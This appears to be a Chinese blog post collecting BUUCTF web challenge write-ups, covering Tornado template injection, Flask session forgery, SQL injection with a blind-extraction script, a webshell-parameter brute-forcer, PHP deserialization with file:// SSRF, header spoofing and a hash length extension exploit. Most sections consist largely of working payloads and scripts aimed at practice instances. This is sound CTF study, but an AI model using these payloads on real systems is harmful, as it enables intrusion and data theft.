0%

BUUCTF每天10道(Web版)

摘要

本文记录了作者在BUUCTF刷题中(Web部分)的收获。

关键词:CTF;Web;

持续更新中

Day1

[护网杯 2018]easy_tornado

常规分析

打开题目:

图1

URL: /file?filename=/flag.txt&filehash=ab44e4d26d57bc6697e23c1581a88eff
/flag.txt 内容:

1
flag in /fllllllllllllag

URL: /file?filename=/welcome.txt&filehash=d47862fa61ed28b3db2936fbf44ce8eb
/welcome.txt 内容:

1
render

URL: /file?filename=/hints.txt&filehash=300d9acaa2a5a81bebd509300599c9ed
/hints.txt 内容:

1
md5(cookie_secret+md5(filename))

综合已知信息:

  • flag在 md5(cookie_secret+md5(filename)) 文件中

  • URL中的 filehashmd5(cookie_secret+md5(filename))

  • cookie_secret 值,题目名为easy_tornado,加上 render ,考虑SSTI模板注入[1]

Payload形式如下:

1
/file?filename=/fllllllllllllag&filehash={md5(cookie_secret+md5(fllllllllllllag))}

直接访问:

1
/file?filename=/fllllllllllllag&filehash=

结果如下:

图2

URL: /error?msg=Error

验证SSTI注入:

1
/error?msg={{2}}

返回2,说明存在SSTI注入。

1
2
3
/error?msg={{2/1}}
/error?msg={{2*2}}
/error?msg={{2-1}}

都只会返回ORZ,说明操作符被过滤。

关键点

通过 handler.settings 对象来获取cookie。
handler 指向 RequestHandler ,而 RequestHandler.settings 又指向 self.application.settings ,所以 handler.settings 就指向 RequestHandler.application.settings

传递 error?msg= 得到:

1
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '3105258e-71cb-4590-ae18-de67cfd31b68'}

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import hashlib
def md5_convert(string):
"""计算字符串md5值"""
m = hashlib.md5()
m.update(string.encode())
return m.hexdigest()

def exp():
filename = '/fllllllllllllag'
cookie_secret = '3105258e-71cb-4590-ae18-de67cfd31b68'
payload = '/file?filename=/fllllllllllllag&filehash='+md5_convert(a+md5_convert(filename))
print(payload)

exp()

[HCTF 2018]admin

常规分析

F12搜索注释:

1
<!-- you are not admin -->

注册账号登录,继续每个页面搜索注释:

1
<!-- https://github.com/woadsl1234/hctf_flask/ -->

拿到源码,开始分析。看完之后没什么思路,于是面向WP解题。搜索了一下[2][3]发现有三种做法:

  1. 伪造session

  2. unicode欺骗

  3. 条件竞争

关键点

参考Github上的轮子:https://github.com/noraj/flask-session-cookie-manager

我直接就拿下来跑了。

首先分析session内容:

1
python .\flask_session_cookie_manager3.py decode -s ckj123 -c .eJw90MGKwkAMBuBXWebsQdu6B8GDMlUUkqEyWiaX4tbqmM64YHepjvjuO3pYckp--EjyENXx2nRWTI571zUDUZ0PYvIQH19iIkDPRkoeHCa7s-E6Ay4SYBiSXDDK-qZKE5R2jD5WWDgMxCagxeWagTctlUUA3iYgTY9-NVTLPIUAQcm5RZ9nJGeJ0kVP0kTXOuQdm2R1B21biv5rTn7jjV6zKYsbSmuVpNgjIzsGuc1Ao43mVDwHou6ux-rnu20u_yeQjquV-Zjk3L8w8AtHvEpNmd8No6WluSnZpvDK9Kk3uu7pNH1zl71vIjFK0mz8KQbit2uu7_eI0VA8_wDLKGYl.Xo1PTA.oGCF_K1DC9suGc3ALTm-q9EuekY

跑完之后如下:

1
{'_fresh': False, '_id': b'10587e7ebb78246234d1c4719f399c6cf71e76cc3a4bc24ded32560606b48a733380a6a8d06940d6628e65ccb218dd71d66fdfa2cad148a86fa3c69c05813a33', 'csrf_token': b'e3f5a9d0fcff2aef27aa2b3adf18973ff180a70f', 'name': '123456', 'user_id': '10'}

再构造session:

1
python .\flask_session_cookie_manager3.py encode -s ckj123 -t "{'_fresh': False, '_id': b'10587e7ebb78246234d1c4719f399c6cf71e76cc3a4bc24ded32560606b48a733380a6a8d06940d6628e65ccb218dd71d66fdfa2cad148a86fa3c69c05813a33', 'csrf_token': b'e3f5a9d0fcff2aef27aa2b3adf18973ff180a70f', 'name': 'admin', 'user_id': '10'}"

最后构造,得到flag:

图3

payload

1
2
3
4
5
6
7
8
9
10
11
GET /index HTTP/1.1
Host: 119d0ca8-0abf-4371-b005-3b1ddbe9e898.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://119d0ca8-0abf-4371-b005-3b1ddbe9e898.node3.buuoj.cn/login
Connection: close
Cookie: session=.eJw90MGKAjEMBuBXWXL2oKN7ETwoHUUhKSPVobmIO47WTOuCs8toxXff6mHJKfnhI8kDdsdr3ToYH_e-rXuwOx9g_ICPLxgDmulAq4OnbHu2Uo1QigwF-6zmQqq66dJGbbxQSBXnniKLjeRosRKUdcNlEVE2GSrbUVj29SIfYsSo1cxRyEesppk2RcfKJtd5kq3YbHlH4xpO_mvOYR2sWYktixsp57Ti1JOQeEG1GaEhl8wJPHtQtdfj7ue7qS__J7BJq5X5J6tZeGEY5p5lObRlfrdCjhf2plUzxFdmTp01VcenyZu77EOdiP0hnC_Qg9-2vr6_A4M-PP8Aevlm-Q.Xo1SWA.amn8Ehg1Zu2m-EuB4g-O-mjMOlA
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

[极客大挑战 2019]EasySQL

payload

考察sql,加个引号发现是字符型。确实Easy,直接就出来了。

1
http://206f6ae1-2542-41e3-bdea-fa62836ecd2d.node3.buuoj.cn/check.php?username=admin' or '1'='1&password=123456' or '1'='1

[强网杯 2019]高明的黑客

常规分析

打开题目,按照提示把源码拿下来分析。

打开一看,全是随机生成的伪shell。考察编程能力找shell?

payload

大概思路是匹配出GET或者POST的参数,然后提交 echo 这种 eval()system 都能执行的语句来匹配结果。

找了个轮子改改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import os
import requests
import re
import threading
import time

print('开始时间: ' + time.asctime(time.localtime(time.time())))
s1 = threading.Semaphore(100) # 这儿设置最大的线程数
filePath = r"F:\tools\wamp64\wamp64\www\src"
os.chdir(filePath) # 改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5 # 设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False

def get_content(file):
s1.acquire()
print('trying ' + file + ' ' + time.asctime(time.localtime(time.time())))
with open(file, encoding='utf-8') as f: # 打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} # 所有的$_POST
params = {} # 所有的$_GET
for m in gets:
params[m] = "echo 'pe0ny';"
for n in posts:
data[n] = "echo 'pe0ny';"
url = 'http://localhost/src/' + file
req = session.post(url, data=data, params=params) # 一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
# print(content)
if "pe0ny" in content: # 如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url + '?%s=' % a + "echo 'pe0ny';")
content = req.text
req.close() # 关闭请求 释放内存
if "pe0ny" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b: "echo 'pe0ny';"})
content = req.text
req.close() # 关闭请求 释放内存
if "pe0ny" in content:
break
if flag == 1: # flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: ' + file + " and 找到了利用的参数:%s" % param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release()

for i in files: # 加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()

所以说纯粹考察多线程代码能力。

1
xk0SzyKwfzw.php?Efa5BVG=cat%20/flag

[CISCN2019 华北赛区 Day2 Web1]Hack World

常规分析

考察sql注入。

id=1时:

1
Hello, glzjin wants a girlfriend.

id=2时:

1
Do you want to be my girlfriend?

关键点

多次尝试发现过滤了 unionandor 、空格等。找轮子改了改盲注脚本。

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests

url = "http://1c197dc2-ea6d-4a45-902d-bfae0582c308.node3.buuoj.cn/index.php"
payload = {
"id": ""
}
result = ""
for i in range(1, 100):
l = 33
r = 130
mid = (l+r) >> 1
while(l < r):
payload["id"] = "0^" + \
"(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(
i, mid)
html = requests.post(url, data=payload)
if "Hello" in html.text:
l = mid+1
else:
r = mid
mid = (l+r) >> 1
if(chr(mid) == " "):
break
result = result + chr(mid)
print(result)
if result[-1] == "}":
break
print("flag: ", result)

[网鼎杯 2018]Fakebook

常规分析

robots.txt 发现泄露源码 /user.php.bak

审计源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php

class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

关键点

构造序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
}
$a = new UserInfo();
$a->name = 'admin888';
$a->age = 12;
$a->blog = 'file:///var/www/html/user.php';
echo serialize($a);
?>
1
O:8:"UserInfo":3:{s:4:"name";s:8:"admin888";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/user.php";}

payload

最终payload:

1
http://b79a2b86-e971-4c1c-9ada-9f681aebe66f.node3.buuoj.cn/view.php?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:123;s:4:"blog";s:29:"file://var/www/html/flag.php";}'

图4

Base64解密,得到flag。

[极客大挑战 2019]PHP

常规分析

题目提示有网站备份,直接扫一波网站目录,发现 www.zip

拿到源码审计,关键在于 class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
include 'flag.php';

error_reporting(0);

class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>

关键点

构造序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
$a = new Name('admin',100);
$b = serialize($a);
echo $b;
}
?>

得到:

1
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

修改为:

1
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

其中将 2 修改为 3 是为了绕过 __wakeup() 函数,使 username 不被覆盖,加上 %00 是因为 usernamepassword 都是私有变量,变量中的类名前后会有空白符,而复制的时候会丢失。

payload

1
http://25b853c0-c456-433e-aca5-eab8809c8287.node3.buuoj.cn/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

[极客大挑战 2019]Knife

常规分析

根据提示,打开蚁剑:

图5

害,脑洞题,结合题目猜测 Knife.php

URL:

1
http://a83ed20e-e456-4405-9b87-ace4e390479b.node3.buuoj.cn/?Knife.php

flag就在根目录下。

[极客大挑战 2019]LoveSQL

常规分析

还是万能密码直接登录。

根据题目提示发现考察SQL注入基本知识,就是手注。

Payload:

1
http://b8f7333c-23e6-42f7-a449-4e3cca7a69b7.node3.buuoj.cn/check.php?username=1%27%20union%20select%201,version(),group_concat(id,username,password)%20from%20l0ve1ysq1%23&password=1

[极客大挑战 2019]Http

常规分析

打开题目,看源码或者直接扫目录都可以,发现 Secret.php

然后跟着提示要求修改Header即可。

Payload:

1
2
3
4
5
6
7
8
9
10
11
GET /Secret.php HTTP/1.1
Host: node3.buuoj.cn:25459
User-Agent: Syclover
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Referer: https://www.Sycsecret.com
X-Forwarded-For: 127.0.0.1

Day2

[De1CTF 2019]SSRF Me

常规分析

打开题目,审计源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)

class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()

def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"

def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
return hashlib.md5(content).hexdigest()

def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False

if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')

审了一遍源码,没什么思路,于是面向WP解题[4], xq17师傅已经讲得很清楚了。

关键点

考点主要就是:md5扩展攻击+CVE-2019-9948,关于这俩漏洞原理与常规利用方法就不赘述了,看参考文献比较好[5][6]

payload

CTFTime上找的exp,写得是真的规范:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests,hashpumpy,urllib    
"""
hashpump(hexdigest, original_data, data_to_add, key_length) -> (digest, message)

Arguments:
hexdigest(str): Hex-encoded result of hashing key + original_data.
original_data(str): Known data used to get the hash result hexdigest.
data_to_add(str): Data to append
key_length(int): Length of unknown data prepended to the hash

Returns:
A tuple containing the new hex digest and the new message.
'
"""
payload = 'flag.txt'
param = 'param=' + payload
base_url = 'http://139.180.128.86/'
signurl = base_url + 'geneSign?' + param
r = requests.post(url=signurl,cookies={'action':'scan'})
sign = r.content
print sign
readsign,add_data = hashpumpy.hashpump(sign,payload+'scan','read',16)
print readsign
# print add_data
add_data = add_data[len(payload):]
print add_data
expurl = base_url + 'De1ta?' + param
r = requests.post(url=expurl,cookies={'action':urllib.quote(add_data),'sign':readsign})
print r.content

参考文献

[1] SSTI完全学习
[2] 2018 HCTF Web Writeup
[3] 客户端 session 导致的安全问题
[4] 浅析De1CTF 2019的两道web SSRF ME && ShellShellShell
[5] Hash Length Extension Attack
[6] CVE-2019-9948
<!— ### 题目

常规分析

关键点

payload —>